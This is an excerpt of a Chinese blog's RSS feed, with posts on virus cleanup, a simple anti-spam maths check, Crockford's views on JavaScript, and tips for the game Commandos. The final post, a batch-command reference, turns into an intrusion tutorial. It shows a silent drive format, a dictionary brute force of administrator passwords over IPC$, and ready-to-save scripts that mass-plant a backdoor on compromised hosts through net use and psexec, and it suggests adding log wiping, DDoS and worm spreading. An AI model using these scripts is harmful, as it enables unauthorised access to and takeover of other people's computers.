里升升级，当都升级完成后，这些问题就不会有了。</p><br />]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=124</link>
	<title><![CDATA[开机输入密码后自动注销返回登录界面]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-05-12 15:57</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=124</guid>	
	<description><![CDATA[<p>输入密码后自动注销说明userinit.exe受到损坏，这种现象多为病毒造成。将硬盘卸下，挂从盘查杀病毒木马，确认完成后，将相应版本（2000或xp）的userinit.exe覆盖到C:\\\\WINNT（WINDOWS）\\\\system32目录下，将硬盘安装回本机，启动机器，能正常进入系统。<br />
之后发现&ldquo;添加/删除程序&rdquo;和网络连接无法使用，无法粘贴，右击&ldquo;我的电脑&rdquo;》管理》服务和应用程序》服务，查看windows installer和network connection服务是否启动，两者都没启动，且无法查看服务属性。此现象应为I-Worm.Wukill 病毒。确认病毒木马清理干净后，将相应版本的rpcss.dll文件覆盖到C:\\\\WINNT（WINDOWS）\\\\system32目录下。重启机器，上述现象消失。<br />
安装和升级360安全卫士，查杀木马（使用完全木马库），清理恶评插件，安装安全补丁。<br />
电脑可以正常使用了</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=123</link>
	<title><![CDATA[关于如何防范BLOG自动发贴的机器人]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-05-12 14:29</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=123</guid>	
	<description><![CDATA[<p>很多论坛或BLOG会有一些无聊的家伙，利用程序的一些漏洞批量发贴，这种东西被称作&ldquo;发贴机器人&rdquo;。业界很著名的Discuz论坛，老版本就有这样的情况，会有一些程序自动注册账号，自动发贴。弄得论坛乌烟瘴气，直接影响浏览者的好心情。</p><br /> <p>很不幸，我这个BLOG上也有。以往是偶尔会有一两条。管理的时候我顺手删掉也就是了。现在弄得越来越不象话，一天都会有十几条这种垃圾广告贴或者挂马贴。是该想想怎么解决了。</p><br /> <p>通常的做法是加验证码。利用验证码来验证提交的信息。但这还是不行，不晓得这机器人是通过识别图片技术还是什么方法来做到的。也许是一种通用的程序，直接针对我这种BLOG的吧。那样的话只能自已给它加点料了。</p><br /> <p>于是我写了一个算式，让人判断一下答案，然后提交。你可以注意一下&ldquo;发表评论&rdquo;的表单，会有这么一个文本框让你填写答案。答案不对是无法提交的。这虽说是用户体验差了点，要您自己心算一下答案，但好歹也算给机器人增加了点难度。</p><br /> <p>机器人如果不更新它的程序的话，就没办法提交啦。因为在更新数据库的程序中，也有判断提交的答案的程序，答案不对，就直接关闭。<br /> <br /> 当然，这种简单的防范破解的方法也不是没有。也就是唬唬小孩子的，我决定先这么弄着，放两天看看，如果还是有机器人能自动发贴上来，我再加料。呵呵。与机器人斗，很好玩啊。<br /> <br /> &nbsp;</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=122</link>
	<title><![CDATA[作为浏览器方言的JavaScript]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-05-05 14:40</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=122</guid>	
	<description><![CDATA[<p>Figure 1. The Tower of Babel</p>
<p>旧约-创世纪-第11章 1-9，（Genesis [11:1-9]）</p>
<p>&ldquo;1 那时，天下人的口音，言语，都是一样。&nbsp; 2 他们往东边迁移的时候，在示拿地遇见一片平原，就住在那里。&nbsp; 3 他们彼此商量说，来吧，我们要作砖，把砖烧透了。他们就拿砖当石头，又拿石漆当灰泥。&nbsp; 4 他们说，来吧，我们要建造一座城和一座塔，塔顶通天，为要传扬我们的名，免得我们分散在全地上。&nbsp; 5 耶和华降临，要看看世人所建造的城和塔。&nbsp; 6 耶和华说，看哪，他们成为一样的人民，都是一样的言语，如今既作起这事来，以后他们所要作的事就没有不成就的了。&nbsp; 7 我们下去，在那里变乱他们的口音，使他们的言语彼此不通。&nbsp; 8 于是，耶和华使他们从那里分散在全地上。他们就停工，不造那城了。&nbsp; 9 因为耶和华在那里变乱天下人的言语，使众人分散在全地上，所以那城名叫巴别（就是变乱的意思）。&rdquo;</p>
<p>Douglas Crockford以创世纪通天塔的故事为导言，开始了他对JavaScript的辩护。关于通天塔的读解有多种，一种读解是，神在警告人类不要狂妄，学会谦卑。另一种读解是，这段话解释了方言的起源，没有其它隐喻。Douglas把这段故事和计算机语言联系在一起，他说，&ldquo;程序的核心问题在于驾驭复杂性。在应对复杂多变的需求时，如果一个程序语言不能有助于驾驭复杂系统，那么结果就是混淆不清，接踵而至的就是失败。&rdquo; （<a href=\\\"http://javascript.crockford.com/popular.html\\\">http://javascript.crockford.com/popular.html</a>）</p>
<p>几十年来，人们设计了形形色色的计算机语言，为什么不设计一种广为接受的，一统天下的语言，这样人们就可以把精力集中到这种语言的普及教育，并且设计开发各种工具，使这个世界通用语言变得功能更加强大，使用更加简便？Douglas说，&ldquo;我们已经尝试过了，但是所有努力无一不以失败告终&rdquo;。究其原因，当一个语言要处理的应用越来越多时，需要赋予这种语言的功能也就越来越多，于是语言本身就越变越复杂，于是语言就越变越晦涩。</p>
<p>&ldquo;所以，我们就看到大量的专门的语言出现。这些特殊语种在应付特定范围的任务时，非常有效，这就足够了。当人们需要完成特定任务时，有合适的语言作为工具，这是天赐之福&rdquo;。&ldquo;语言设计的艺术在于知道如何取舍。一个好的语言所拥有的诸多功能，能够和谐地互为补充共同工作。一个好的语言不仅能够帮助我们更好地理解问题，并且有益于找到解决方案的最佳表述方式。&rdquo;</p>
<p>&ldquo;一个好的语言的功能并不追求包罗万象，而是由有限的功能所组成。但是，哪些功能是有用的，哪些可以舍弃，却众说纷纭，没有统一意见。吸收哪些功能，让语言变得更加强大，这是永无休止的争论议题。并不是说功能不重要，问题在于我们不知道每个功能有多重要。&rdquo;</p>
<p><br />
Figure 2. Douglas Crockford</p>
<p><br />
这位Douglas Crockford是JavaScript最知名的捍卫者，同时设计了JSON，JSLint，JSMin等等与JavaScript相关的构件和辅助工具。JavaScript的发明人Brendan Eich盛赞他是Lambda编程和JavaScript的精神领袖。Doug不仅学问精湛，而且文采飞扬。Doug对于语言有广泛的研究，其中特别热衷于Blissymbol的推广。</p>
<p>二战时犹太人Charles Bliss逃难到了上海，在这期间他试图学习中文。一方面他认识到象形文字的优势，同时认为要记住数以万计的中文字，实在是一件难度很大的任务。于是，他发明了几千个象形符号，以此为基础，通过组合这些基本的象形符号来表达复杂的概念。这就是Blissymbol的由来。Blissymbol不仅可以表达任何复杂的思想，而且非常容易学，甚至&ldquo;比学习自己的母语还要容易&rdquo;。Doug热衷于Blissymbol，同时对中国也十分友好。</p>
<p>关于JavaScript，Doug写到，&ldquo;大多数程序语言死于晦涩。只有少数语言，能够从一个项目组或者一个公司的试验品，扩散出去，吸引追随者。只有极少数能够成为真正重要的语言。一门语言能否变得重要，有两条途径。第一个途径是体现某些重要的编程思想，或者提供实践这些思想的平台。Smalltalk和 Scheme就是通过这个途径走向成功的范例。虽然使用这些语言的人并不多，但是众口一词的评价是，它们的设计充满睿智，即便这种设计并不迎合时尚。虽然它们本身并没有吸引很多使用者，但是对于未来的语言设计却具有深远的影响。另一个使一门语言变得重要的途径，是因为拥有众多用户而变得重要。在程序员选择编程语言时，需要考虑的因素很多。但是用什么语言来编写浏览器脚本却无需左顾右盼，因为，至少目前而言，浏览器能够接受的编程语言，别无选择，只有 JavaScript。&rdquo;</p>
<p>这真是一段坦荡得让人吃惊的评论。JavaScript之所以重要，完全是源于它是众多浏览器唯一接受的语言。换而言之，如果没有这样的垄断地位，JavaScript也许就不会拥有如此众多的用户，没有众多的用户，而且也没有新颖的编程思想作为灵魂，JavaScript或许就不再是一门重要的语言。</p>
<p>Python，Ruby等等语言是否能够替代JavaScript的地位呢？从技术上讲，是完全可能的。为什么JavaScript会占据垄断地位呢? Doug的解释是这样的，与前面的论述一样，坦荡得令人佩服。</p>
<p>&ldquo; 为什么这样一个有着明显缺陷的语言，会成为Web唯一的编程语言呢？Brendan Eich在Netscape任职的时候，成功地让他那个婆婆妈妈的领导，认识到Navigator浏览器需要一个脚本语言，而且只有重新发明一门新语言才能胜任浏览器脚本这个工作。于是，一门新语言就开始匆匆忙忙地设计，匆匆忙忙地实现，而且压根就没有考虑是否能够延用现有的其它语言，去担当浏览器脚本这个工作。事后不久，微软的IE浏览器项目组急于争夺Netscape的市场份额，他们逆向复制了Netscape的语言，全盘照抄，泥沙俱下。其它浏览器开发商也追随微软的做法，盲目紧跟。并没有什么标准强制浏览器必须实现JavaScript，但是JavaScript无意中成为各个主流浏览器的唯一的通用的脚本语言。没有谁仔细深入地审视过这门语言本身，以及它所针对的问题范畴，也没有甄别它是否能够称职地解决这些问题，更谈不上设计是否完备。 Netscape仓促中捏合了这门语言，然后它被复制到其它浏览器中去。当我们回顾JavaScript产生的背景，以及它成为事实上的Web编程语言的标准的整个过程，我们有理由相信这门语言一定糟糕透顶。&rdquo;</p>
<p>&ldquo;尽管JavaScript存在惊人的缺陷，当我们深入分析这门语言的时候，会发现其实它的内核，具有非常优秀的品质。当我们剥去污秽的外壳，JavaScript的内里，是富于表现力的，功能强大的编程语言。这门语言被出色地应用到很多Ajax函数库里，操控XML-DOM，支持Web页面的交互，提供应用服务的平台。Ajax之所以流行，是因为JavaScript不仅能够完成任务，而且表现出色，令人惊讶。&rdquo;</p>
<p>在Doug看来，JavaScript的精髓在哪里呢？在&ldquo;JavaScript, the Good Parts&rdquo; (published by O\\\'Reilly) 这本书的第10章，Doug列举了三条，</p>
<p>&nbsp; 1.Functions as first class objects</p>
<p>&nbsp; 作为一类对象，JavaScript的函数可以像数值或者字符串那样，被动态地创建，存储，传输以及返回（return）。Java的method不是一类对象。一个Java method结束运算时，可以返回数值或者对象，但是无法返回另一个method。C的函数也不是一类对象，但是可以通过函数指针（function pointer）迂回达到类似功效，所以C的函数又被称为二类对象。</p>
<p>&nbsp; 2.Dynamic objects with prototypal inheritance</p>
<p>&nbsp; 在大多数Object-Oriented语言里，既有class，又有object，class是object的抽象蓝图，规定了属性和函数。譬如你我他都是人，但凡是人都有头脑和四肢，这就是属性，但凡是人都能做一些思考和运动，这就是函数。但是JavaScript取消了class，所以在 JavaScript的语汇里，不存在&ldquo;人&rdquo;这样抽象的class，JavaScript从不说&ldquo;他是一个人&rdquo;，而只是说&ldquo;他与我很像&rdquo;。</p>
<p>取消class的好处在于精简了语言的复杂性，但是麻烦在于套用设计定式（design pattern）时，JavaScript就显得比较笨拙。Doug的文章成功地说服了大家，并不是JavaScript语言本身在表述Design pattern时显得笨拙，而是我们大多数人更习惯于传统的OO语言，习惯于既有class也有object，而不习惯于没有class的情况。</p>
<p>&nbsp; 3.Object literals and array literals</p>
<p>&nbsp; JavaScript表述object和array的方式非常简练，同时这种表述方式使object和array的数据读取，编辑以及其它操作也干净利索。这种表述方式，直接促成了JSON数据传输格式的产生。</p>
<p><br />
Doug 的三条分析都对，但是斗胆冒犯一句，似乎没有搔到痒处。正如前文中Doug坦率承认的那样，JavaScript的卖点是对于浏览器的操控功能，而不是语言本身的巧妙。但是令人失望的是，Doug为JavaScript辩护的重心，在于区别JavaScript语言本身，与寄生于这个躯体之上的污秽的附属物。他说到，</p>
<p>&ldquo;JavaScript是一个令人惊叹的语言，但不是好得让人惊叹，而是糟糕得让人惊叹。这个令人惊叹的本质，成就了它的恶名。JavaScript与 DOM，尤其是DOM那些既可怕又可恶的APIs纠缠不清。人们不清楚JavaScript与DOM的分界在哪里，人们喋喋不休地谈论如何改进 JavaScript，但是这些改进本身，对于web开发而言，与事无补。这个语言肩负着太多太多功能，其中包括很多彼此难以和谐共存的，以及设计时就存在先天缺陷的功能。这个语言太冗长，就像约瑟夫皇帝评论Mozart的音乐那样。&rdquo;</p>
<p>所以，Doug辩论的目的，是要还JavaScript一个清白，找还清白的方式，是剥离寄生于JavaScript的内核的DOM操控，HTML事件处理等等，彼此难以和谐共存的，以及设计时就存在先天缺陷的那些功能。</p>
<p>问题是，即便我们有了一个脱离污秽的冰清玉洁的JavaScript，充其量，我们又多了一个比Python和Ruby更好的脚本语言。但是这不是我们所需要的，我们需要的是如何高效地操控浏览器，换句话说，我们需要的正是那些污秽的附属物，具体说来，</p>
<p>1. 如何捕捉发生浏览器页面的事件，譬如鼠标移动，点击和输入等等，对应DOM-tree的哪一个节点。</p>
<p>2. 如何修改编辑DOM-tree，尤其是多个节点或者子树的相关互动。</p>
<p>3. 如何调用浏览器外部函数，以及如何让外部函数调用浏览器内部指令。</p>
<p>Brendan Eich当年游说Netscape的领导时说得对，当时没有哪一个现成的语言具有上述功能，与其扩充现有语言的功能，不如另行发明一个新的语言，这个新的语言就是JavaScript。</p>
<p>我们今天反思JavaScript的目的，并不是讨论这门语言好不好，如何改进。我们要大胆地问一句，究竟有没有必要存在这门语言，对于操控浏览器而言，或许我们需要的是protocol，而不是language。如果说互联网浏览器的历史积淀很沉重，积重难返，那么对于手机浏览器而言，大可轻装上阵，不必重蹈历史的覆辙。</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=121</link>
	<title><![CDATA[重温《盟军敢死队》的心得]]></title>
	<author>镜中花</author>
	<category><![CDATA[游戏心情]]></category>
	<pubDate>2009-04-30 14:30</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=121</guid>	
	<description><![CDATA[<p>这几天闲来无事。便有了把一些老游戏翻出来玩玩的想法。首先想到的就是《盟军敢死队》系列了。<br />
我手上有《盟》的几个版本，深入敌后，勇往直前和使命召唤。《盟军2-勇往直前》是二代。年前还玩过。相对而言，比较简单。倒是一代和其资片难度很高。<br />
说说我的过关过程吧，也算是个攻略了。呵呵。顺带说一下，我的过关方法不追求时间与杀敌数，只强调一点，不要弄响警报。老实说，这个要求&mdash;&mdash;挺难的！</p>
<p>说一些有用的方法</p>
<p>最常用的是&ldquo;诱杀&rdquo;。一个比较实用的办法就是故意让巡逻兵看到自己（当然是在较远的时候），他会高喊一嗓子，举枪向我瞄，然后我趴下爬开。爬到巡逻兵看不到的地方，等他跑过来。回头的时候，杀！这一招百试不爽<br />
巡逻队的处理方法：有间谍自然最好。没有间谍的情况下。只能躲着他们。因为这个&ldquo;三人组合&rdquo;随便碰到谁都会拉警报。躲着他们也不难。跟着走就可以了。<br />
利用时间差：两个人互相看死的情况下，可以弄个无线诱捕器，响的时候，利用两个人视线都转向诱捕器的同时，杀一个扛走<br />
利用尸体：巡逻兵看到尸体一般都会喊一声，然后跑过来看。可以利用其这个特性，拿尸体做吸引，然后躲在暗处，趁其跑过来的路上，杀了他。这里要注意两点，一是巡逻兵看到尸体时会喊一声，喊的时候身边有其他人或者有巡逻队，都会跟着一起&ldquo;同去同去&rdquo;。那就。。。。。Ctrl+L吧（读盘）。。<br />
S/L大法：这是最实用的。不多说了。</p>
<p>以前玩一代的时候，我就没能做到警报不响。前几关尚可，后面的关就不行了。希望这次玩能够达成这个愿望</p>
<p>吐槽一下：天天在家打2000年的老游戏，也真是闲得可以了。。。。。</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=120</link>
	<title><![CDATA[批处理(bat)命令集合]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-04-29 13:38</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=120</guid>	
	<description><![CDATA[<p>批处理(bat)命令集合</p>
<p>1.Echo 命令<br />
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<br />
语法<br />
echo [{on|off}] [message]<br />
Sample：echo off / echo hello world<br />
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</p>
<p>2.@ 命令<br />
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<br />
Sample：@echo off<br />
@echo Now initializing the program,please wait a minite...<br />
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</p>
<p>3.Goto 命令<br />
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<br />
语法：goto label （label是参数，指定所要转向的批处理程序中的行。） <br />
Sample：<br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<br />
@Rem check parameters if null show usage<br />
:noparms<br />
echo Usage: monitor.bat ServerIP PortNumber<br />
goto end<br />
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</p>
<p>4.Rem 命令<br />
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<br />
Rem Message<br />
Sample：@Rem Here is the description.</p>
<p>5.Pause 命令<br />
运行 Pause 命令时，将显示下面的消息： <br />
Press any key to continue . . . <br />
Sample：<br />
@echo off <br />
:begin <br />
copy a:*.* d：\\\\back<br />
echo Please put a new disk into driver A <br />
pause <br />
goto begin <br />
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\\\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</p>
<p>6.Call 命令<br />
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<br />
语法<br />
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<br />
参数<br />
[Drive:}[Path] FileName <br />
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</p>
<p>7.start 命令<br />
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<br />
入侵常用参数：<br />
MIN 开始时窗口最小化<br />
SEPARATE 在分开的空间内开始 16 位 Windows 程序<br />
HIGH 在 HIGH 优先级类别开始应用程序<br />
REALTIME 在 REALTIME 优先级类别开始应用程序<br />
WAIT 启动应用程序并等候它结束<br />
parameters 这些为传送到命令/程序的参数<br />
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<br />
8.choice 命令<br />
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234&hellip;&hellip;</p>
<p>如: choice /c:dme defrag,mem,end<br />
将显示<br />
defrag,mem,end[D,M,E]?<br />
Sample：<br />
Sample.bat的内容如下: <br />
@echo off <br />
choice /c:dme defrag,mem,end <br />
if errorlevel 3 goto defrag （应先判断数值最高的错误码）<br />
if errorlevel 2 goto mem <br />
if errotlevel 1 goto end</p>
<p>:defrag <br />
c:\\\\dos\\\\defrag <br />
goto end <br />
:mem <br />
mem <br />
goto end <br />
:end <br />
echo good bye</p>
<p>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</p>
<p>9.If 命令</p>
<p>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />
1、if &quot;参数&quot; == &quot;字符串&quot; 待执行的命令 <br />
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<br />
如if &quot;%1&quot;==&quot;a&quot; format a: <br />
if {%1}=={} goto noparms<br />
if {%2}=={} goto noparms</p>
<p>2、if exist 文件名 待执行的命令 <br />
如果有指定的文件，则条件成立，运行命令，否则运行下一句。<br />
如if exist config.sys edit config.sys</p>
<p>3、if errorlevel / if not errorlevel 数字 待执行的命令 <br />
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<br />
如if errorlevel 2 goto x2 <br />
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</p>
<p>10.for 命令<br />
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</p>
<p>for {%variable|%%variable} in (set) do command [ CommandLineOptions]<br />
%variable 指定一个单一字母可替换的参数。<br />
(set) 指定一个或一组文件。可以使用通配符。<br />
command 指定对每个文件执行的命令。<br />
command-parameters 为特定命令指定参数或命令行开关。<br />
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<br />
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</p>
<p>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<br />
支持:</p>
<p>FOR /D %variable IN (set) DO command [command-parameters]</p>
<p>如果集中包含通配符，则指定与目录名匹配，而不与文件<br />
名匹配。</p>
<p>FOR /R [[drive:]path] %variable IN (set) DO command [command-</p>
<p>检查以 [drive:]path 为根的目录树，指向每个目录中的<br />
FOR 语句。如果在 /R 后没有指定目录，则使用当前<br />
目录。如果集仅为一个单点(.)字符，则枚举该目录树。</p>
<p>FOR /L %variable IN (start,step,end) DO command [command-para</p>
<p>该集表示以增量形式从开始到结束的一个数字序列。<br />
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<br />
序列 (5 4 3 2 1)。</p>
<p>FOR /F [&quot;options&quot;] %variable IN (file-set) DO command <br />
FOR /F [&quot;options&quot;] %variable IN (&quot;string&quot;) DO command <br />
FOR /F [&quot;options&quot;] %variable IN (command) DO command</p>
<p>或者，如果有 usebackq 选项:</p>
<p>FOR /F [&quot;options&quot;] %variable IN (file-set) DO command <br />
FOR /F [&quot;options&quot;] %variable IN (&quot;string&quot;) DO command <br />
FOR /F [&quot;options&quot;] %variable IN (command) DO command</p>
<p>filenameset 为一个或多个文件名。继续到 filenameset 中的<br />
下一个文件之前，每份文件都已被打开、读取并经过处理。<br />
处理包括读取文件，将其分成一行行的文字，然后将每行<br />
解析成零或更多的符号。然后用已找到的符号字符串变量值<br />
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<br />
的第一个空白符号。跳过空白行。您可通过指定可选 &quot;options&quot;<br />
参数替代默认解析操作。这个带引号的字符串包括一个或多个<br />
指定不同解析选项的关键字。这些关键字为:</p>
<p>eol=c - 指一个行注释字符的结尾(就一个)<br />
skip=n - 指在文件开始时忽略的行数。<br />
delims=xxx - 指分隔符集。这个替换了空格和跳格键的<br />
默认分隔符集。<br />
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<br />
的 for 本身。这会导致额外变量名称的<br />
格式为一个范围。通过 nth 符号指定 m<br />
符号字符串中的最后一个字符星号，<br />
那么额外的变量将在最后一个符号解析之<br />
分配并接受行的保留文本。<br />
usebackq - 指定新语法已在下类情况中使用:<br />
在作为命令执行一个后引号的字符串并且<br />
引号字符为文字字符串命令并允许在 fi<br />
中使用双引号扩起文件名称。</p>
<p>sample1:<br />
FOR /F &quot;eol=; tokens=2,3* delims=, &quot; %i in (myfile.txt) do command</p>
<p>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<br />
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<br />
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<br />
取得第二个符号，引用 %j 来取得第三个符号，引用 %k<br />
来取得第三个符号后的所有剩余符号。对于带有空格的文件<br />
名，您需要用双引号将文件名括起来。为了用这种方式来使<br />
用双引号，您还需要使用 usebackq 选项，否则，双引号会<br />
被理解成是用作定义某个要分析的字符串的。</p>
<p>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<br />
tokens= 选项专门得到说明的。您可以通过 tokens= 一行<br />
指定最多 26 个符号，只要不试图说明一个高于字母 z 或<br />
Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<br />
同时不能有 52 个以上都在使用中。</p>
<p>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<br />
用单引号将括号之间的 filenameset 括起来。这样，该字符<br />
串会被当作一个文件中的一个单一输入行。</p>
<p>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<br />
括号之间的 filenameset 变成一个反括字符串。该字符串会<br />
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<br />
内存，并被当作文件分析。因此，以下例子:</p>
<p>FOR /F &quot;usebackq delims==&quot; %i IN (`set`) DO @echo %i</p>
<p>会枚举当前环境中的环境变量名称。</p>
<p>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<br />
选项语法:</p>
<p>~I - 删除任何引号(&quot;)，扩充 %I<br />
%~fI - 将 %I 扩充到一个完全合格的路径名<br />
%~dI - 仅将 %I 扩充到一个驱动器号<br />
%~pI - 仅将 %I 扩充到一个路径<br />
%~nI - 仅将 %I 扩充到一个文件名<br />
%~xI - 仅将 %I 扩充到一个文件扩展名<br />
%~sI - 扩充的路径只含有短名<br />
%~aI - 将 %I 扩充到文件的文件属性<br />
%~tI - 将 %I 扩充到文件的日期/时间<br />
%~zI - 将 %I 扩充到文件的大小<br />
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<br />
到找到的第一个完全合格的名称。如果环境变量<br />
未被定义，或者没有找到文件，此组合键会扩充<br />
空字符串</p>
<p>可以组合修饰符来得到多重结果:</p>
<p>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<br />
%~nxI - 仅将 %I 扩充到一个文件名和扩展名<br />
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<br />
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<br />
到找到的第一个驱动器号和路径。<br />
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR</p>
<p>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<br />
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<br />
比较易读，而且避免与不分大小写的组合键混淆。</p>
<p>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</p>
<p>sample2：</p>
<p>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<br />
我们用net use <a href=\\\"file://\\\\\\\\ip\\\\ipc$\\\">\\\\\\\\ip\\\\ipc$</a> &quot;password&quot; /u:&quot;administrator&quot;来尝试这和目标主机进行连接，当成功时记下密码。<br />
最主要的命令是一条：for /f i% in (dict.txt) do net use <a href=\\\"file://\\\\\\\\ip\\\\ipc$\\\">\\\\\\\\ip\\\\ipc$</a> &quot;i%&quot; /u:&quot;administrator&quot;<br />
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<br />
for /f i%% in (dict.txt) do net use <a href=\\\"file://\\\\\\\\ip\\\\ipc$\\\">\\\\\\\\ip\\\\ipc$</a> &quot;i%%&quot; /u:&quot;administrator&quot;|find &quot;:命令成功完成&quot;&gt;&gt;D:\\\\ok.txt ，这样就ko了。</p>
<p>sample3：</p>
<p>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</p>
<p>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<br />
@for /f &quot;tokens=1,2,3 delims= &quot; %%i in (victim.txt) do start call door.bat %%i %%j %%k<br />
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<br />
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<br />
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<br />
代码雏形：</p>
<p>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------<br />
@echo off<br />
@if &quot;%1&quot;==&quot;&quot; goto usage<br />
@for /f &quot;tokens=1,2,3 delims= &quot; %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br />
@goto end<br />
:usage<br />
@echo run this batch in dos modle.or just double-click it.<br />
:end<br />
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------</p>
<p>------------------- cut here then save as a batchfile(I call it door.bat) -----------------<br />
@net use <a href=\\\"file://\\\\\\\\%1\\\\ipc$\\\">\\\\\\\\%1\\\\ipc$</a> %3 /u:&quot;%2&quot;<br />
@if errorlevel 1 goto failed<br />
@echo Trying to establish the IPC$ connection &hellip;&hellip;&hellip;&hellip;OK<br />
@copy windrv32.exe\\\\\\\\%1\\\\admin$\\\\system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<br />
@p***ec \\\\\\\\%1 c:\\\\winnt\\\\system32\\\\windrv32.exe<br />
@p***ec \\\\\\\\%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<br />
:failed<br />
@echo Sorry can not connected to the victim.<br />
----------------- cut here then save as a batchfile(I call it door.bat) -------------------<br />
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<br />
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</p>
